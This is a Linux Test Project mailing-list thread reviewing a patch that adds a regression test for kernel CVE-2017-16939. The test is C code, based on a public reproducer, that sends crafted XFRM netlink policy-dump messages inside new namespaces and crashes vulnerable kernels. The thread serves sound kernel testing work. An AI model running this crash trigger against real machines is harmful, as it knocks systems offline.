Add regression test for CVE-2017-16939
PATCH 1/1 Add regression test for CVE-2017-16939
Based on the reproducing code from Mohammed Ghannam, published on
https://blogs.securiteam.com/index.php/archives/3535
Warning! If the kernel is vulnerable to this CVE, it will definitely die with "Fatal Exception in Interrupt". So do not run this on a production machine!
--- runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/cve-2017-16939.c | 132 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 134 insertions(+) create mode 100644 testcases/cve/cve-2017-16939.c
runtest/cve +1 -0
@@ -29,3 +29,4 @@ cve-2017-17807 request_key04 cve-2017-1000364 stack_clash cve-2017-5754 meltdown cve-2017-17052 cve-2017-17052 +cve-2017-16939 cve-2017-16939
testcases/cve/.gitignore +1 -0
@@ -11,3 +11,4 @@ cve-2017-5669 meltdown stack_clash cve-2017-17052 +cve-2017-16939
testcases/cve/cve-2017-16939.c new file +132 -0
132 lines not on this page · raw message
Signature · 1 line
2.13.6
PATCH 1/1 Add regression test for CVE-2017-16939
Hi!
Quoted 80 lines
https://blogs.securiteam.com/index.php/archives/3535
Warning! If the kernel is vulnerable to this CVE, it will definitely die with "Fatal Exception in Interrupt". So do not run this on a production machine!
Signed-off-by Michael Moese <[email protected]>--- runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/cve-2017-16939.c | 132 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 134 insertions(+) create mode 100644 testcases/cve/cve-2017-16939.cruntest/cve +1
-0@@ -29,3 +29,4 @@ cve-2017-17807 request_key04 cve-2017-1000364 stack_clash cve-2017-5754 meltdown cve-2017-17052 cve-2017-17052 +cve-2017-16939 cve-2017-16939testcases/cve/.gitignore +1
-0@@ -11,3 +11,4 @@ cve-2017-5669 meltdown stack_clash cve-2017-17052 +cve-2017-16939testcases/cve/cve-2017-16939.c new file +42
-0@@ -0,0 +1,132 @@ +/* +* Copyright (c) 2018 Michael Moese <[email protected]> +* +* This program is free software: you can redistribute it and/or modify +* it under the terms of the GNU General Public License as published by +* the Free Software Foundation, either version 2 of the License, or +* (at your option) any later version. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License +* along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ +/* Regression test for CVE-2017-16939 +* based on the reproducing code from Mohammed Ghannam, published on +* https://blogs.securiteam.com/index.php/archives/3535 +* +* CAUTION! If your system is vulnerable to this CVE, the kernel +* WILL die with a "Fatal Exception in Interrupt". +*/ + +#include <unistd.h> +#include <sched.h> +#include <stdlib.h> +#include <string.h> +#include <sys/socket.h> +#include <sys/wait.h> +#include <netinet/in.h> +#include <linux/netlink.h> +#include <linux/xfrm.h> + +#include "tst_test.h" +#include "tst_res_flags.h" +#include "tst_safe_macros.h" +#include "tst_safe_net.h" + +#define BUFSIZE 2048 + +static int fd;
testcases/cve/cve-2017-16939.c line 52
Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10
-0+static struct sockaddr_nl addr; + +struct msg_policy { +struct nlmsghdr msg; +char buf[BUFSIZE ]; +}; + +static void create_nl_socket (void ) +{ + fd =socket (PF_NETLINK ,SOCK_RAW ,NETLINK_XFRM );
^ SAFE_SOCKET() ?
Quoted 44 lines
testcases/cve/cve-2017-16939.c new file +44
-0+memset (&addr,0 ,sizeof (struct sockaddr_nl )); + addr.nl_family =AF_NETLINK ; + addr.nl_pid =0 ;/* packet goes into the kernel */ + addr.nl_groups =XFRMNLGRP_NONE ;/* no need for multicast group */ +} + +static void do_setsockopt (void ) +{ +int var =0x100 ; + +SAFE_SETSOCKOPT (fd,1 ,SO_RCVBUF , &var,sizeof (int )); +} + +static struct msg_policy *init_policy_dump (void ) +{ +struct msg_policy *r; + + r =SAFE_MALLOC (sizeof (struct msg_policy )); +memset (r,0 ,sizeof (struct msg_policy )); + + r->msg.nlmsg_len =0x10 ; + r->msg.nlmsg_type =XFRM_MSG_GETPOLICY ; + r->msg.nlmsg_flags =NLM_F_MATCH |NLM_F_MULTI |NLM_F_REQUEST ; + r->msg.nlmsg_seq =0x1 ; + r->msg.nlmsg_pid =2 ; + +return r; +} + +static int send_msg (int fd,struct nlmsghdr *msg) +{ +return SAFE_SENDTO (1 , fd, (void *) msg, msg->nlmsg_len,0 , + (struct sockaddr *) &addr, +sizeof (struct sockaddr_nl )); +} + +static void create_ns (void ) +{ +if (unshare (CLONE_NEWUSER ) !=0 ) +tst_brk (TCONF ,"unshare(CLONE_NEWUSER) failed" ); +if (unshare (CLONE_NEWNET ) !=0 ) +tst_brk (TCONF ,"unshare(CLONE_NEWNET) failed" ); +} +
testcases/cve/cve-2017-16939.c line 106
Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10
-0+static void do_run (void ) +{ +struct msg_policy *p; + +create_ns (); +create_nl_socket (); + p =init_policy_dump (); +do_setsockopt (); +send_msg (fd, &p->msg); + p =init_policy_dump ();
Do we have to initialize the policy here for a second time? (does the fact that the p is a different pointe here matters?)
Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.
Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5
-0+send_msg (fd, &p->msg); + +exit (0 ); +} +
testcases/cve/cve-2017-16939.c line 121
Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10
-0+static void run (void ) +{ +pid_t pid; +int status; + + pid =SAFE_FORK (); +if (pid ==0 ) { +do_run (); + }else { +usleep (250000 );
^
Why the usleep here? Should just the waitpid() below suffice in waiting for the child to exit?
Quoted 17 lines
testcases/cve/cve-2017-16939.c new file +11
-0+SAFE_WAITPID (pid, &status,0 ); +if (!WIFEXITED (status)) +tst_res (TFAIL ,"Kernel has issues" ); + } +tst_res (TPASS ,"Kernel seems to have survived" ); +} + +static struct tst_test test = { + .forks_child =1 , + .test_all = run, +};Signature · 5 lines
2.13.6 -- Mailing list info: https://lists.linux.it/listinfo/ltp
Signature · 2 lines
Cyril Hrubis [email protected]
PATCH 1/1 Add regression test for CVE-2017-16939
Hi,
Quoted 16 lines · Cyril Hrubis
Hi!
testcases/cve/cve-2017-16939.c line 106
Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10
-0+static void do_run (void ) +{ +struct msg_policy *p; + +create_ns (); +create_nl_socket (); + p =init_policy_dump (); +do_setsockopt (); +send_msg (fd, &p->msg); + p =init_policy_dump ();Do we have to initialize the policy here for a second time? (does the fact that the p is a different pointe here matters?)
Quoted 2 lines
Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.
I was trying to keep as close as possible to the reproducer. I can check if this can be moved to setup, and maybe only initialize once. However, I think it is not a big waste of memory, after all the test does not loop or fork or anything like this.
Quoted 9 lines
testcases/cve/cve-2017-16939.c line 121
Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5
-0+ pid =SAFE_FORK (); +if (pid ==0 ) { +do_run (); + }else { +usleep (250000 );^
Why the usleep here? Should just thewaitpid()below suffice in waiting for the child to exit?
Well, this is something asynchronous happening in the kernel. When we don't wait for a while, the crash happens way after we reported a PASS.. but maybe the usleep makes more sense after the waitpid().
Michael
Signature · 1 line
SUSE Linux GmbH, GF: Felix Imendörffer, Jane Smithard, Graham Norton, HRB 21284 (AG Nürnberg)
PATCH 1/1 Add regression test for CVE-2017-16939
Hi!
Quoted 6 lines
Quoted 2 lines
Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.
I was trying to keep as close as possible to the reproducer. I can check if this can be moved to setup, and maybe only initialize once. However, I think it is not a big waste of memory, after all the test does not loop or fork or anything like this.
Note that all testcases can take -i or -I parameter which causes that the test() function is called in a loop. That is the reason why we should care for allocating memory out of the test() function, or at least freeing it at the end of it.
Quoted 9 lines
Quoted 9 lines
testcases/cve/cve-2017-16939.c line 121
Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5
-0+ pid =SAFE_FORK (); +if (pid ==0 ) { +do_run (); + }else { +usleep (250000 );^
Why the usleep here? Should just thewaitpid()below suffice in waiting for the child to exit?
Quoted 3 lines
Well, this is something asynchronous happening in the kernel. When we don't wait for a while, the crash happens way after we reported a PASS.. but maybe the usleep makes more sense after the
waitpid().
Well that's a good question, the problem is that if we add the usleep to the test it will slow down the testsuite in all cases, which is bad as the longer the testsuite takes the less useful it is. But if we don't add it will be a bit more complicated to to figure out which test caused the crash.
But at least the usleep() requires proper comment about why it's there, something as "the corruption usually manifests within a short time frame hence we sleep here for a while" or something like that.
Or we may try to help it by running the actuall test in a loop for several iterations instead of idling which may increase the probability of failing earlier.
Signature · 2 lines
Cyril Hrubis [email protected]